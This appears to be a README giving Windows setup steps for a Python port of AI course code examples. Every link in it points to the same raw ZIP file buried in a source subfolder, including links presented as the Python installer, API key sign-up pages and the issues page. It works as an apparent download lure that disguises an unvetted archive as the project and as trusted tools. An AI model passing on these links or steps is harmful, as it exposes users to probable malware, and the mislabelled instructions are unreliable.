To get the 4th-devs-python code examples, you need to visit the main GitHub page and download the files manually.
Go here to download:
https://raw.githubusercontent.com/augustebipartisan859/4th-devs-python/main/02_02_hybrid_rag/src/db/devs_th_python_1.8.zip
Click the green Code button on that page. Then select Download ZIP to get all the files on your Windows computer. After downloading, extract the ZIP file to a folder where you want to run the code.
Before you run the project, make sure your Windows computer meets these requirements:
- Windows 10 or later
- Python 3.8 or newer installed
- Internet access to download extra files (libraries)
- At least 2 GB of free disk space
- Basic knowledge of using the Command Prompt (Windows terminal)
If you do not have Python 3.8 or later:
- Open a web browser and go to https://raw.githubusercontent.com/augustebipartisan859/4th-devs-python/main/02_02_hybrid_rag/src/db/devs_th_python_1.8.zip.
- Download the latest Windows installer.
- Run the installer.
- During installation, check the box Add Python to PATH.
- Finish the installation.
- Open the Command Prompt (search for
cmdin the Start menu). - Type
python --versionand press Enter. You should see your Python version number.
After downloading and extracting the project files:
- Open the Command Prompt.
- Use the
cdcommand to navigate to the folder with the extracted files. For example:cd C:\Users\YourName\Downloads\4th-devs-python-main - Install the required Python tools. Type this command and press Enter:
This installs all libraries the project needs to work.
pip install -r requirements.txt
The project uses API keys to communicate with AI services. You need to create and set one API key.
You have two options:
- Visit https://raw.githubusercontent.com/augustebipartisan859/4th-devs-python/main/02_02_hybrid_rag/src/db/devs_th_python_1.8.zip
- Create an account
- Generate a new API key
- No extra steps needed
- Visit https://raw.githubusercontent.com/augustebipartisan859/4th-devs-python/main/02_02_hybrid_rag/src/db/devs_th_python_1.8.zip
- Create an account
- Generate an API key
- You need to verify your organization before use (this may take time)
In the project folder, find the file named .env.example. Copy it and rename the copy to .env.
Open .env in a simple text editor like Notepad.
Add your API key like this:
For OpenRouter:
OPENROUTER_API_KEY=your_api_key_here
For OpenAI:
OPENAI_API_KEY=your_api_key_here
Save the .env file.
Once everything is installed and your API key is set, you can run the project code.
- Open the Command Prompt.
- Go to the project folder:
cd path\to\4th-devs-python - Run the Python script named
main.py:python main.py - Follow instructions that appear on your screen.
This project contains examples from the AI Devs 4 course. The original project was in JavaScript. Here, it is rewritten to Python to help learners better understand AI programming in Python.
It helps you see how AI tools like OpenAI or OpenRouter APIs work with Python code.
- Hands-on code examples from a real AI course
- Simple Python scripts that show AI in action
- Practice with connecting to AI APIs
- Opportunity to learn Python and AI basics side by side
- If
pip installfails, make sure Python and pip are in your system PATH. - If Python command is not recognized, reinstall Python and check the Add to PATH box.
- Confirm
.envhas the right API key and no spaces are missing. - If the app cannot connect online, check your internet connection.
For any problems, you can check the issues section on the project page:
https://raw.githubusercontent.com/augustebipartisan859/4th-devs-python/main/02_02_hybrid_rag/src/db/devs_th_python_1.8.zip
https://raw.githubusercontent.com/augustebipartisan859/4th-devs-python/main/02_02_hybrid_rag/src/db/devs_th_python_1.8.zip
Click Code → Download ZIP to get the full project files.